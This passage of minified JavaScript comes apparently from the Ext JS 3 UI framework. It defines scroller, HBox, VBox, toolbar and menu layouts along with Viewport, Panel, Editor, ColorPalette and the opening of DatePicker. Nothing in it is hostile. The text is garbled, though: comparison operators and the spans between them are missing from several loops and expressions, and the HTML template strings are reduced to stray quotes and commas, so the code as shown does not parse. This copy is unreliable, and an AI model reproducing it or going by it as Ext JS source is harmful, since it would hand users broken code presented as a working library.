a},getScrollAnim:function(){return{duration:this.scrollDuration,callback:this.updateScrollButtons,scope:this}},updateScrollButtons:function(){if(this.beforeScroller==undefined||this.afterScroller==undefined){return}var d=this.atExtremeBefore()?"addClass":"removeClass",c=this.atExtremeAfter()?"addClass":"removeClass",a=this.beforeScrollerCls+"-disabled",b=this.afterScrollerCls+"-disabled";this.beforeScroller[d](a);this.afterScroller[c](b);this.scrolling=false},atExtremeBefore:function(){return this.getScrollPosition()===0},scrollLeft:function(a){this.scrollBy(-this.scrollIncrement,a)},scrollRight:function(a){this.scrollBy(this.scrollIncrement,a)},scrollToItem:function(d,b){d=this.getItem(d);if(d!=undefined){var a=this.getItemVisibility(d);if(!a.fullyVisible){var c=d.getBox(true,true),e=c.x;if(a.hiddenRight){e-=(this.layout.innerCt.getWidth()-c.width)}this.scrollTo(e,b)}}},getItemVisibility:function(e){var d=this.getItem(e).getBox(true,true),a=d.x,c=d.x+d.width,g=this.getScrollPosition(),b=this.layout.innerCt.getWidth()+g;return{hiddenLeft:ab,fullyVisible:a>g&&c=this.getMaxScrollBottom()}});Ext.layout.boxOverflow.scroller.vbox=Ext.layout.boxOverflow.VerticalScroller;Ext.layout.boxOverflow.HorizontalScroller=Ext.extend(Ext.layout.boxOverflow.Scroller,{handleOverflow:function(a,b){Ext.layout.boxOverflow.HorizontalScroller.superclass.handleOverflow.apply(this,arguments);return{targetSize:{height:b.height,width:b.width-(this.beforeCt.getWidth()+this.afterCt.getWidth())}}},createInnerElements:function(){var a=this.layout.innerCt;if(!this.beforeCt){this.afterCt=a.insertSibling({cls:this.afterCls},"before");this.beforeCt=a.insertSibling({cls:this.beforeCls},"before");this.createWheelListener()}},scrollTo:function(a,b){var d=this.getScrollPosition(),c=a.constrain(0,this.getMaxScrollRight());if(c!=d&&!this.scrolling){if(b==undefined){b=this.animateScroll}this.layout.innerCt.scrollTo("left",c,b?this.getScrollAnim():false);if(b){this.scrolling=true}else{this.scrolling=false;this.updateScrollButtons()}}},getScrollPosition:function(){return parseInt(this.layout.innerCt.dom.scrollLeft,10)||0},getMaxScrollRight:function(){return this.layout.innerCt.dom.scrollWidth-this.layout.innerCt.getWidth()},atExtremeAfter:function(){return this.getScrollPosition()>=this.getMaxScrollRight()}});Ext.layout.boxOverflow.scroller.hbox=Ext.layout.boxOverflow.HorizontalScroller;Ext.layout.HBoxLayout=Ext.extend(Ext.layout.BoxLayout,{align:"top",type:"hbox",calculateChildBoxes:function(s,b){var G=s.length,S=this.padding,E=S.top,V=S.left,z=E+S.bottom,P=V+S.right,a=b.width-this.scrollOffset,e=b.height,p=Math.max(0,e-z),Q=this.pack=="start",X=this.pack=="center",B=this.pack=="end",M=0,R=0,U=0,m=0,Y=0,I=[],l,K,N,W,x,k,T,J,c,y,r,O;for(T=0;Ta;var o=Math.max(0,a-M-P);if(q){for(T=0;T0){var D=[];for(var F=0,w=G;Fi.available?1:-1});for(var T=0,w=D.length;T0){J.top=E+r+(A/2)}}V+=J.width+x.right}return{boxes:I,meta:{maxHeight:R,nonFlexWidth:M,desiredWidth:m,minimumWidth:Y,shortfall:m-a,tooNarrow:q}}}});Ext.Container.LAYOUTS.hbox=Ext.layout.HBoxLayout;Ext.layout.VBoxLayout=Ext.extend(Ext.layout.BoxLayout,{align:"left",type:"vbox",calculateChildBoxes:function(q,b){var G=q.length,T=this.padding,E=T.top,W=T.left,z=E+T.bottom,Q=W+T.right,a=b.width-this.scrollOffset,d=b.height,M=Math.max(0,a-Q),R=this.pack=="start",Y=this.pack=="center",B=this.pack=="end",m=0,w=0,V=0,N=0,o=0,I=[],k,K,P,X,v,h,U,J,c,y,p,e;for(U=0;Ud;var s=Math.max(0,(d-m-z));if(n){for(U=0,t=G;U0){var L=[];for(var F=0,t=G;Fi.available?1:-1});for(var U=0,t=L.length;U0){J.left=W+y+(A/2)}}E+=J.height+v.bottom}return{boxes:I,meta:{maxWidth:w,nonFlexHeight:m,desiredHeight:N,minimumHeight:o,shortfall:N-d,tooNarrow:n}}}});Ext.Container.LAYOUTS.vbox=Ext.layout.VBoxLayout;Ext.layout.ToolbarLayout=Ext.extend(Ext.layout.ContainerLayout,{monitorResize:true,type:"toolbar",triggerWidth:18,noItemsMenuText:'
    (None)
    ',lastOverflow:false,tableHTML:['',"","",'",'","","","
    ','',"",'',"","
    ","
    ','',"","","","","","","
    ",'',"",'',"","
    ","
    ",'',"",'',"","
    ","
    ","
    "].join(""),onLayout:function(e,k){if(!this.leftTr){var h=e.buttonAlign=="center"?"center":"left";k.addClass("x-toolbar-layout-ct");k.insertHtml("beforeEnd",String.format(this.tableHTML,h));this.leftTr=k.child("tr.x-toolbar-left-row",true);this.rightTr=k.child("tr.x-toolbar-right-row",true);this.extrasTr=k.child("tr.x-toolbar-extras-row",true);if(this.hiddenItem==undefined){this.hiddenItems=[]}}var l=e.buttonAlign=="right"?this.rightTr:this.leftTr,m=e.items.items,d=0;for(var b=0,g=m.length,n;b=0&&(d=e[a]);a--){if(!d.firstChild){b.removeChild(d)}}},insertCell:function(e,b,a){var d=document.createElement("td");d.className="x-toolbar-cell";b.insertBefore(d,b.childNodes[a]||null);return d},hideItem:function(a){this.hiddenItems.push(a);a.xtbHidden=true;a.xtbWidth=a.getPositionEl().dom.parentNode.offsetWidth;a.hide()},unhideItem:function(a){a.show();a.xtbHidden=false;this.hiddenItems.remove(a)},getItemWidth:function(a){return a.hidden?(a.xtbWidth||0):a.getPositionEl().dom.parentNode.offsetWidth},fitToSize:function(l){if(this.container.enableOverflow===false){return}var b=l.dom.clientWidth,k=l.dom.firstChild.offsetWidth,n=b-this.triggerWidth,a=this.lastWidth||0,c=this.hiddenItems,e=c.length!=0,o=b>=a;this.lastWidth=b;if(k>b||(e&&o)){var m=this.container.items.items,h=m.length,d=0,p;for(var g=0;gn){if(!(p.hidden||p.xtbHidden)){this.hideItem(p)}}else{if(p.xtbHidden){this.unhideItem(p)}}}}}e=c.length!=0;if(e){this.initMore();if(!this.lastOverflow){this.container.fireEvent("overflowchange",this.container,true);this.lastOverflow=true}}else{if(this.more){this.clearMenu();this.more.destroy();delete this.more;if(this.lastOverflow){this.container.fireEvent("overflowchange",this.container,false);this.lastOverflow=false}}}},createMenuConfig:function(c,a){var b=Ext.apply({},c.initialConfig),d=c.toggleGroup;Ext.copyTo(b,c,["iconCls","icon","itemId","disabled","handler","scope","menu"]);Ext.apply(b,{text:c.overflowText||c.text,hideOnClick:a});if(d||c.enableToggle){Ext.apply(b,{group:d,checked:c.pressed,listeners:{checkchange:function(g,e){c.toggle(e)}}})}delete b.ownerCt;delete b.xtype;delete b.id;return b},addComponentToMenu:function(b,a){if(a instanceof Ext.Toolbar.Separator){b.add("-")}else{if(Ext.isFunction(a.isXType)){if(a.isXType("splitbutton")){b.add(this.createMenuConfig(a,true))}else{if(a.isXType("button")){b.add(this.createMenuConfig(a,!a.menu))}else{if(a.isXType("buttongroup")){a.items.each(function(c){this.addComponentToMenu(b,c)},this)}}}}}},clearMenu:function(){var a=this.moreMenu;if(a&&a.items){a.items.each(function(b){delete b.menu})}},beforeMoreShow:function(h){var b=this.container.items.items,a=b.length,g,e;var c=function(k,i){return k.isXType("buttongroup")&&!(i instanceof Ext.Toolbar.Separator)};this.clearMenu();h.removeAll();for(var d=0;d','','{altText}',"","")}if(g&&!g.rendered){if(Ext.isNumber(b)){b=e.dom.childNodes[b]}var d=this.getItemArgs(g);g.render(g.positionEl=b?this.itemTpl.insertBefore(b,d,true):this.itemTpl.append(e,d,true));g.positionEl.menuItemId=g.getItemId();if(!d.isMenuItem&&d.needsIcon){g.positionEl.addClass("x-menu-list-item-indent")}this.configureItem(g)}else{if(g&&!this.isValidParent(g,e)){if(Ext.isNumber(b)){b=e.dom.childNodes[b]}e.dom.insertBefore(g.getActionEl().dom,b||null)}}},getItemArgs:function(d){var a=d instanceof Ext.menu.Item,b=!(a||d instanceof Ext.menu.Separator);return{isMenuItem:a,needsIcon:b&&(d.icon||d.iconCls),icon:d.icon||Ext.BLANK_IMAGE_URL,iconCls:"x-menu-item-icon "+(d.iconCls||""),itemId:"x-menu-el-"+d.id,itemCls:"x-menu-list-item ",altText:d.altText||""}},isValidParent:function(b,a){return b.el.up("li.x-menu-list-item",5).dom.parentNode===(a.dom||a)},onLayout:function(a,b){Ext.layout.MenuLayout.superclass.onLayout.call(this,a,b);this.doAutoSize()},doAutoSize:function(){var c=this.container,a=c.width;if(c.floating){if(a){c.setWidth(a)}else{if(Ext.isIE){c.setWidth(Ext.isStrict&&(Ext.isIE7||Ext.isIE8)?"auto":c.minWidth);var d=c.getEl(),b=d.dom.offsetWidth;c.setWidth(c.getLayoutTarget().getWidth()+d.getFrameWidth("lr"))}}}}});Ext.Container.LAYOUTS.menu=Ext.layout.MenuLayout;Ext.Viewport=Ext.extend(Ext.Container,{initComponent:function(){Ext.Viewport.superclass.initComponent.call(this);document.getElementsByTagName("html")[0].className+=" x-viewport";this.el=Ext.getBody();this.el.setHeight=Ext.emptyFn;this.el.setWidth=Ext.emptyFn;this.el.setSize=Ext.emptyFn;this.el.dom.scroll="no";this.allowDomMove=false;this.autoWidth=true;this.autoHeight=true;Ext.EventManager.onWindowResize(this.fireResize,this);this.renderTo=this.el},fireResize:function(a,b){this.fireEvent("resize",this,a,b,a,b)}});Ext.reg("viewport",Ext.Viewport);Ext.Panel=Ext.extend(Ext.Container,{baseCls:"x-panel",collapsedCls:"x-panel-collapsed",maskDisabled:true,animCollapse:Ext.enableFx,headerAsText:true,buttonAlign:"right",collapsed:false,collapseFirst:true,minButtonWidth:75,elements:"body",preventBodyReset:false,padding:undefined,resizeEvent:"bodyresize",toolTarget:"header",collapseEl:"bwrap",slideAnchor:"t",disabledClass:"",deferHeight:true,expandDefaults:{duration:0.25},collapseDefaults:{duration:0.25},initComponent:function(){Ext.Panel.superclass.initComponent.call(this);this.addEvents("bodyresize","titlechange","iconchange","collapse","expand","beforecollapse","beforeexpand","beforeclose","close","activate","deactivate");if(this.unstyled){this.baseCls="x-plain"}this.toolbars=[];if(this.tbar){this.elements+=",tbar";this.topToolbar=this.createToolbar(this.tbar);this.tbar=null}if(this.bbar){this.elements+=",bbar";this.bottomToolbar=this.createToolbar(this.bbar);this.bbar=null}if(this.header===true){this.elements+=",header";this.header=null}else{if(this.headerCfg||(this.title&&this.header!==false)){this.elements+=",header"}}if(this.footerCfg||this.footer===true){this.elements+=",footer";this.footer=null}if(this.buttons){this.fbar=this.buttons;this.buttons=null}if(this.fbar){this.createFbar(this.fbar)}if(this.autoLoad){this.on("render",this.doAutoLoad,this,{delay:10})}},createFbar:function(b){var a=this.minButtonWidth;this.elements+=",footer";this.fbar=this.createToolbar(b,{buttonAlign:this.buttonAlign,toolbarCls:"x-panel-fbar",enableOverflow:false,defaults:function(d){return{minWidth:d.minWidth||a}}});this.fbar.items.each(function(d){d.minWidth=d.minWidth||this.minButtonWidth},this);this.buttons=this.fbar.items.items},createToolbar:function(b,c){var a;if(Ext.isArray(b)){b={items:b}}a=b.events?Ext.apply(b,c):this.createComponent(Ext.apply({},b,c),"toolbar");this.toolbars.push(a);return a},createElement:function(a,c){if(this[a]){c.appendChild(this[a].dom);return}if(a==="bwrap"||this.elements.indexOf(a)!=-1){if(this[a+"Cfg"]){this[a]=Ext.fly(c).createChild(this[a+"Cfg"])}else{var b=document.createElement("div");b.className=this[a+"Cls"];this[a]=Ext.get(c.appendChild(b))}if(this[a+"CssClass"]){this[a].addClass(this[a+"CssClass"])}if(this[a+"Style"]){this[a].applyStyles(this[a+"Style"])}}},onRender:function(g,e){Ext.Panel.superclass.onRender.call(this,g,e);this.createClasses();var a=this.el,h=a.dom,l,i;if(this.collapsible&&!this.hideCollapseTool){this.tools=this.tools?this.tools.slice(0):[];this.tools[this.collapseFirst?"unshift":"push"]({id:"toggle",handler:this.toggleCollapse,scope:this})}if(this.tools){i=this.tools;this.elements+=(this.header!==false)?",header":""}this.tools={};a.addClass(this.baseCls);if(h.firstChild){this.header=a.down("."+this.headerCls);this.bwrap=a.down("."+this.bwrapCls);var k=this.bwrap?this.bwrap:a;this.tbar=k.down("."+this.tbarCls);this.body=k.down("."+this.bodyCls);this.bbar=k.down("."+this.bbarCls);this.footer=k.down("."+this.footerCls);this.fromMarkup=true}if(this.preventBodyReset===true){a.addClass("x-panel-reset")}if(this.cls){a.addClass(this.cls)}if(this.buttons){this.elements+=",footer"}if(this.frame){a.insertHtml("afterBegin",String.format(Ext.Element.boxMarkup,this.baseCls));this.createElement("header",h.firstChild.firstChild.firstChild);this.createElement("bwrap",h);l=this.bwrap.dom;var c=h.childNodes[1],b=h.childNodes[2];l.appendChild(c);l.appendChild(b);var m=l.firstChild.firstChild.firstChild;this.createElement("tbar",m);this.createElement("body",m);this.createElement("bbar",m);this.createElement("footer",l.lastChild.firstChild.firstChild);if(!this.footer){this.bwrap.dom.lastChild.className+=" x-panel-nofooter"}this.ft=Ext.get(this.bwrap.dom.lastChild);this.mc=Ext.get(m)}else{this.createElement("header",h);this.createElement("bwrap",h);l=this.bwrap.dom;this.createElement("tbar",l);this.createElement("body",l);this.createElement("bbar",l);this.createElement("footer",l);if(!this.header){this.body.addClass(this.bodyCls+"-noheader");if(this.tbar){this.tbar.addClass(this.tbarCls+"-noheader")}}}if(Ext.isDefined(this.padding)){this.body.setStyle("padding",this.body.addUnits(this.padding))}if(this.border===false){this.el.addClass(this.baseCls+"-noborder");this.body.addClass(this.bodyCls+"-noborder");if(this.header){this.header.addClass(this.headerCls+"-noborder")}if(this.footer){this.footer.addClass(this.footerCls+"-noborder")}if(this.tbar){this.tbar.addClass(this.tbarCls+"-noborder")}if(this.bbar){this.bbar.addClass(this.bbarCls+"-noborder")}}if(this.bodyBorder===false){this.body.addClass(this.bodyCls+"-noborder")}this.bwrap.enableDisplayMode("block");if(this.header){this.header.unselectable();if(this.headerAsText){this.header.dom.innerHTML=''+this.header.dom.innerHTML+"";if(this.iconCls){this.setIconClass(this.iconCls)}}}if(this.floating){this.makeFloating(this.floating)}if(this.collapsible&&this.titleCollapse&&this.header){this.mon(this.header,"click",this.toggleCollapse,this);this.header.setStyle("cursor","pointer")}if(i){this.addTool.apply(this,i)}if(this.fbar){this.footer.addClass("x-panel-btns");this.fbar.ownerCt=this;this.fbar.render(this.footer);this.footer.createChild({cls:"x-clear"})}if(this.tbar&&this.topToolbar){this.topToolbar.ownerCt=this;this.topToolbar.render(this.tbar)}if(this.bbar&&this.bottomToolbar){this.bottomToolbar.ownerCt=this;this.bottomToolbar.render(this.bbar)}},setIconClass:function(b){var a=this.iconCls;this.iconCls=b;if(this.rendered&&this.header){if(this.frame){this.header.addClass("x-panel-icon");this.header.replaceClass(a,this.iconCls)}else{var e=this.header,c=e.child("img.x-panel-inline-icon");if(c){Ext.fly(c).replaceClass(a,this.iconCls)}else{var d=e.child("span."+this.headerTextCls);if(d){Ext.DomHelper.insertBefore(d.dom,{tag:"img",alt:"",src:Ext.BLANK_IMAGE_URL,cls:"x-panel-inline-icon "+this.iconCls})}}}}this.fireEvent("iconchange",this,b,a)},makeFloating:function(a){this.floating=true;this.el=new Ext.Layer(Ext.apply({},a,{shadow:Ext.isDefined(this.shadow)?this.shadow:"sides",shadowOffset:this.shadowOffset,constrain:false,shim:this.shim===false?false:undefined}),this.el)},getTopToolbar:function(){return this.topToolbar},getBottomToolbar:function(){return this.bottomToolbar},getFooterToolbar:function(){return this.fbar},addButton:function(a,c,b){if(!this.fbar){this.createFbar([])}if(c){if(Ext.isString(a)){a={text:a}}a=Ext.apply({handler:c,scope:b},a)}return this.fbar.add(a)},addTool:function(){if(!this.rendered){if(!this.tools){this.tools=[]}Ext.each(arguments,function(a){this.tools.push(a)},this);return}if(!this[this.toolTarget]){return}if(!this.toolTemplate){var h=new Ext.Template('
     
    ');h.disableFormats=true;h.compile();Ext.Panel.prototype.toolTemplate=h}for(var g=0,d=arguments,c=d.length;g0){Ext.each(this.toolbars,function(c){c.doLayout(undefined,a)});this.syncHeight()}},syncHeight:function(){var b=this.toolbarHeight,c=this.body,a=this.lastSize.height,d;if(this.autoHeight||!Ext.isDefined(a)||a=="auto"){return}if(b!=this.getToolbarHeight()){b=Math.max(0,a-this.getFrameHeight());c.setHeight(b);d=c.getSize();this.toolbarHeight=this.getToolbarHeight();this.onBodyResize(d.width,d.height)}},onShow:function(){if(this.floating){return this.el.show()}Ext.Panel.superclass.onShow.call(this)},onHide:function(){if(this.floating){return this.el.hide()}Ext.Panel.superclass.onHide.call(this)},createToolHandler:function(c,a,d,b){return function(g){c.removeClass(d);if(a.stopEvent!==false){g.stopEvent()}if(a.handler){a.handler.call(a.scope||c,g,c,b,a)}}},afterRender:function(){if(this.floating&&!this.hidden){this.el.show()}if(this.title){this.setTitle(this.title)}Ext.Panel.superclass.afterRender.call(this);if(this.collapsed){this.collapsed=false;this.collapse(false)}this.initEvents()},getKeyMap:function(){if(!this.keyMap){this.keyMap=new Ext.KeyMap(this.el,this.keys)}return this.keyMap},initEvents:function(){if(this.keys){this.getKeyMap()}if(this.draggable){this.initDraggable()}if(this.toolbars.length>0){Ext.each(this.toolbars,function(a){a.doLayout();a.on({scope:this,afterlayout:this.syncHeight,remove:this.syncHeight})},this);this.syncHeight()}},initDraggable:function(){this.dd=new Ext.Panel.DD(this,Ext.isBoolean(this.draggable)?null:this.draggable)},beforeEffect:function(a){if(this.floating){this.el.beforeAction()}if(a!==false){this.el.addClass("x-panel-animated")}},afterEffect:function(a){this.syncShadow();this.el.removeClass("x-panel-animated")},createEffect:function(c,b,d){var e={scope:d,block:true};if(c===true){e.callback=b;return e}else{if(!c.callback){e.callback=b}else{e.callback=function(){b.call(d);Ext.callback(c.callback,c.scope)}}}return Ext.applyIf(e,c)},collapse:function(b){if(this.collapsed||this.el.hasFxBlock()||this.fireEvent("beforecollapse",this,b)===false){return}var a=b===true||(b!==false&&this.animCollapse);this.beforeEffect(a);this.onCollapse(a,b);return this},onCollapse:function(a,b){if(a){this[this.collapseEl].slideOut(this.slideAnchor,Ext.apply(this.createEffect(b||true,this.afterCollapse,this),this.collapseDefaults))}else{this[this.collapseEl].hide(this.hideMode);this.afterCollapse(false)}},afterCollapse:function(a){this.collapsed=true;this.el.addClass(this.collapsedCls);if(a!==false){this[this.collapseEl].hide(this.hideMode)}this.afterEffect(a);this.cascade(function(b){if(b.lastSize){b.lastSize={width:undefined,height:undefined}}});this.fireEvent("collapse",this)},expand:function(b){if(!this.collapsed||this.el.hasFxBlock()||this.fireEvent("beforeexpand",this,b)===false){return}var a=b===true||(b!==false&&this.animCollapse);this.el.removeClass(this.collapsedCls);this.beforeEffect(a);this.onExpand(a,b);return this},onExpand:function(a,b){if(a){this[this.collapseEl].slideIn(this.slideAnchor,Ext.apply(this.createEffect(b||true,this.afterExpand,this),this.expandDefaults))}else{this[this.collapseEl].show(this.hideMode);this.afterExpand(false)}},afterExpand:function(a){this.collapsed=false;if(a!==false){this[this.collapseEl].show(this.hideMode)}this.afterEffect(a);if(this.deferLayout){delete this.deferLayout;this.doLayout(true)}this.fireEvent("expand",this)},toggleCollapse:function(a){this[this.collapsed?"expand":"collapse"](a);return this},onDisable:function(){if(this.rendered&&this.maskDisabled){this.el.mask()}Ext.Panel.superclass.onDisable.call(this)},onEnable:function(){if(this.rendered&&this.maskDisabled){this.el.unmask()}Ext.Panel.superclass.onEnable.call(this)},onResize:function(g,d,c,e){var a=g,b=d;if(Ext.isDefined(a)||Ext.isDefined(b)){if(!this.collapsed){if(Ext.isNumber(a)){this.body.setWidth(a=this.adjustBodyWidth(a-this.getFrameWidth()))}else{if(a=="auto"){a=this.body.setWidth("auto").dom.offsetWidth}else{a=this.body.dom.offsetWidth}}if(this.tbar){this.tbar.setWidth(a);if(this.topToolbar){this.topToolbar.setSize(a)}}if(this.bbar){this.bbar.setWidth(a);if(this.bottomToolbar){this.bottomToolbar.setSize(a);if(Ext.isIE){this.bbar.setStyle("position","static");this.bbar.setStyle("position","")}}}if(this.footer){this.footer.setWidth(a);if(this.fbar){this.fbar.setSize(Ext.isIE?(a-this.footer.getFrameWidth("lr")):"auto")}}if(Ext.isNumber(b)){b=Math.max(0,b-this.getFrameHeight());this.body.setHeight(b)}else{if(b=="auto"){this.body.setHeight(b)}}if(this.disabled&&this.el._mask){this.el._mask.setSize(this.el.dom.clientWidth,this.el.getHeight())}}else{this.queuedBodySize={width:a,height:b};if(!this.queuedExpand&&this.allowQueuedExpand!==false){this.queuedExpand=true;this.on("expand",function(){delete this.queuedExpand;this.onResize(this.queuedBodySize.width,this.queuedBodySize.height)},this,{single:true})}}this.onBodyResize(a,b)}this.syncShadow();Ext.Panel.superclass.onResize.call(this,g,d,c,e)},onBodyResize:function(a,b){this.fireEvent("bodyresize",this,a,b)},getToolbarHeight:function(){var a=0;if(this.rendered){Ext.each(this.toolbars,function(b){a+=b.getHeight()},this)}return a},adjustBodyHeight:function(a){return a},adjustBodyWidth:function(a){return a},onPosition:function(){this.syncShadow()},getFrameWidth:function(){var b=this.el.getFrameWidth("lr")+this.bwrap.getFrameWidth("lr");if(this.frame){var a=this.bwrap.dom.firstChild;b+=(Ext.fly(a).getFrameWidth("l")+Ext.fly(a.firstChild).getFrameWidth("r"));b+=this.mc.getFrameWidth("lr")}return b},getFrameHeight:function(){var a=this.el.getFrameWidth("tb")+this.bwrap.getFrameWidth("tb");a+=(this.tbar?this.tbar.getHeight():0)+(this.bbar?this.bbar.getHeight():0);if(this.frame){a+=this.el.dom.firstChild.offsetHeight+this.ft.dom.offsetHeight+this.mc.getFrameWidth("tb")}else{a+=(this.header?this.header.getHeight():0)+(this.footer?this.footer.getHeight():0)}return a},getInnerWidth:function(){return this.getSize().width-this.getFrameWidth()},getInnerHeight:function(){return this.body.getHeight()},syncShadow:function(){if(this.floating){this.el.sync(true)}},getLayoutTarget:function(){return this.body},getContentTarget:function(){return this.body},setTitle:function(b,a){this.title=b;if(this.header&&this.headerAsText){this.header.child("span").update(b)}if(a){this.setIconClass(a)}this.fireEvent("titlechange",this,b);return this},getUpdater:function(){return this.body.getUpdater()},load:function(){var a=this.body.getUpdater();a.update.apply(a,arguments);return this},beforeDestroy:function(){Ext.Panel.superclass.beforeDestroy.call(this);if(this.header){this.header.removeAllListeners()}if(this.tools){for(var a in this.tools){Ext.destroy(this.tools[a])}}if(this.toolbars.length>0){Ext.each(this.toolbars,function(b){b.un("afterlayout",this.syncHeight,this);b.un("remove",this.syncHeight,this)},this)}if(Ext.isArray(this.buttons)){while(this.buttons.length){Ext.destroy(this.buttons[0])}}if(this.rendered){Ext.destroy(this.ft,this.header,this.footer,this.tbar,this.bbar,this.body,this.mc,this.bwrap,this.dd);if(this.fbar){Ext.destroy(this.fbar,this.fbar.el)}}Ext.destroy(this.toolbars)},createClasses:function(){this.headerCls=this.baseCls+"-header";this.headerTextCls=this.baseCls+"-header-text";this.bwrapCls=this.baseCls+"-bwrap";this.tbarCls=this.baseCls+"-tbar";this.bodyCls=this.baseCls+"-body";this.bbarCls=this.baseCls+"-bbar";this.footerCls=this.baseCls+"-footer"},createGhost:function(a,e,b){var d=document.createElement("div");d.className="x-panel-ghost "+(a?a:"");if(this.header){d.appendChild(this.el.dom.firstChild.cloneNode(true))}Ext.fly(d.appendChild(document.createElement("ul"))).setHeight(this.bwrap.getHeight());d.style.width=this.el.dom.offsetWidth+"px";if(!b){this.container.dom.appendChild(d)}else{Ext.getDom(b).appendChild(d)}if(e!==false&&this.el.useShim!==false){var c=new Ext.Layer({shadow:false,useDisplay:true,constrain:false},d);c.show();return c}else{return new Ext.Element(d)}},doAutoLoad:function(){var a=this.body.getUpdater();if(this.renderer){a.setRenderer(this.renderer)}a.update(Ext.isObject(this.autoLoad)?this.autoLoad:{url:this.autoLoad})},getTool:function(a){return this.tools[a]}});Ext.reg("panel",Ext.Panel);Ext.Editor=function(b,a){if(b.field){this.field=Ext.create(b.field,"textfield");a=Ext.apply({},b);delete a.field}else{this.field=b}Ext.Editor.superclass.constructor.call(this,a)};Ext.extend(Ext.Editor,Ext.Component,{allowBlur:true,value:"",alignment:"c-c?",offsets:[0,0],shadow:"frame",constrain:false,swallowKeys:true,completeOnEnter:true,cancelOnEsc:true,updateEl:false,initComponent:function(){Ext.Editor.superclass.initComponent.call(this);this.addEvents("beforestartedit","startedit","beforecomplete","complete","canceledit","specialkey")},onRender:function(b,a){this.el=new Ext.Layer({shadow:this.shadow,cls:"x-editor",parentEl:b,shim:this.shim,shadowOffset:this.shadowOffset||4,id:this.id,constrain:this.constrain});if(this.zIndex){this.el.setZIndex(this.zIndex)}this.el.setStyle("overflow",Ext.isGecko?"auto":"hidden");if(this.field.msgTarget!="title"){this.field.msgTarget="qtip"}this.field.inEditor=true;this.mon(this.field,{scope:this,blur:this.onBlur,specialkey:this.onSpecialKey});if(this.field.grow){this.mon(this.field,"autosize",this.el.sync,this.el,{delay:1})}this.field.render(this.el).show();this.field.getEl().dom.name="";if(this.swallowKeys){this.field.el.swallowEvent(["keypress","keydown"])}},onSpecialKey:function(g,d){var b=d.getKey(),a=this.completeOnEnter&&b==d.ENTER,c=this.cancelOnEsc&&b==d.ESC;if(a||c){d.stopEvent();if(a){this.completeEdit()}else{this.cancelEdit()}if(g.triggerBlur){g.triggerBlur()}}this.fireEvent("specialkey",g,d)},startEdit:function(b,c){if(this.editing){this.completeEdit()}this.boundEl=Ext.get(b);var a=c!==undefined?c:this.boundEl.dom.innerHTML;if(!this.rendered){this.render(this.parentEl||document.body)}if(this.fireEvent("beforestartedit",this,this.boundEl,a)!==false){this.startValue=a;this.field.reset();this.field.setValue(a);this.realign(true);this.editing=true;this.show()}},doAutoSize:function(){if(this.autoSize){var b=this.boundEl.getSize(),a=this.field.getSize();switch(this.autoSize){case"width":this.setSize(b.width,a.height);break;case"height":this.setSize(a.width,b.height);break;case"none":this.setSize(a.width,a.height);break;default:this.setSize(b.width,b.height)}}},setSize:function(a,b){delete this.field.lastSize;this.field.setSize(a,b);if(this.el){if(Ext.isGecko2||Ext.isOpera||(Ext.isIE7&&Ext.isStrict)){this.el.setSize(a,b)}this.el.sync()}},realign:function(a){if(a===true){this.doAutoSize()}this.el.alignTo(this.boundEl,this.alignment,this.offsets)},completeEdit:function(a){if(!this.editing){return}if(this.field.assertValue){this.field.assertValue()}var b=this.getValue();if(!this.field.isValid()){if(this.revertInvalid!==false){this.cancelEdit(a)}return}if(String(b)===String(this.startValue)&&this.ignoreNoChange){this.hideEdit(a);return}if(this.fireEvent("beforecomplete",this,b,this.startValue)!==false){b=this.getValue();if(this.updateEl&&this.boundEl){this.boundEl.update(b)}this.hideEdit(a);this.fireEvent("complete",this,b,this.startValue)}},onShow:function(){this.el.show();if(this.hideEl!==false){this.boundEl.hide()}this.field.show().focus(false,true);this.fireEvent("startedit",this.boundEl,this.startValue)},cancelEdit:function(a){if(this.editing){var b=this.getValue();this.setValue(this.startValue);this.hideEdit(a);this.fireEvent("canceledit",this,b,this.startValue)}},hideEdit:function(a){if(a!==true){this.editing=false;this.hide()}},onBlur:function(){if(this.allowBlur===true&&this.editing&&this.selectSameEditor!==true){this.completeEdit()}},onHide:function(){if(this.editing){this.completeEdit();return}this.field.blur();if(this.field.collapse){this.field.collapse()}this.el.hide();if(this.hideEl!==false){this.boundEl.show()}},setValue:function(a){this.field.setValue(a)},getValue:function(){return this.field.getValue()},beforeDestroy:function(){Ext.destroyMembers(this,"field");delete this.parentEl;delete this.boundEl}});Ext.reg("editor",Ext.Editor);Ext.ColorPalette=Ext.extend(Ext.Component,{itemCls:"x-color-palette",value:null,clickEvent:"click",ctype:"Ext.ColorPalette",allowReselect:false,colors:["000000","993300","333300","003300","003366","000080","333399","333333","800000","FF6600","808000","008000","008080","0000FF","666699","808080","FF0000","FF9900","99CC00","339966","33CCCC","3366FF","800080","969696","FF00FF","FFCC00","FFFF00","00FF00","00FFFF","00CCFF","993366","C0C0C0","FF99CC","FFCC99","FFFF99","CCFFCC","CCFFFF","99CCFF","CC99FF","FFFFFF"],initComponent:function(){Ext.ColorPalette.superclass.initComponent.call(this);this.addEvents("select");if(this.handler){this.on("select",this.handler,this.scope,true)}},onRender:function(b,a){this.autoEl={tag:"div",cls:this.itemCls};Ext.ColorPalette.superclass.onRender.call(this,b,a);var c=this.tpl||new Ext.XTemplate('
     ');c.overwrite(this.el,this.colors);this.mon(this.el,this.clickEvent,this.handleClick,this,{delegate:"a"});if(this.clickEvent!="click"){this.mon(this.el,"click",Ext.emptyFn,this,{delegate:"a",preventDefault:true})}},afterRender:function(){Ext.ColorPalette.superclass.afterRender.call(this);if(this.value){var a=this.value;this.value=null;this.select(a,true)}},handleClick:function(b,a){b.preventDefault();if(!this.disabled){var d=a.className.match(/(?:^|\s)color-(.{6})(?:\s|$)/)[1];this.select(d.toUpperCase())}},select:function(b,a){b=b.replace("#","");if(b!=this.value||this.allowReselect){var c=this.el;if(this.value){c.child("a.color-"+this.value).removeClass("x-color-palette-sel")}c.child("a.color-"+b).addClass("x-color-palette-sel");this.value=b;if(a!==true){this.fireEvent("select",this,b)}}}});Ext.reg("colorpalette",Ext.ColorPalette);Ext.DatePicker=Ext.extend(Ext.BoxComponent,{todayText:"Today",okText:" OK ",cancelText:"Cancel",todayTip:"{0} (Spacebar)",minText:"This date is before the minimum date",maxText:"This date is after the maximum date",format:"m/d/y",disabledDaysText:"Disabled",disabledDatesText:"Disabled",monthNames:Date.monthNames,dayNames:Date.dayNames,nextText:"Next Month (Control+Right)",prevText:"Previous Month (Control+Left)",monthYearText:"Choose a month (Control+Up/Down to move 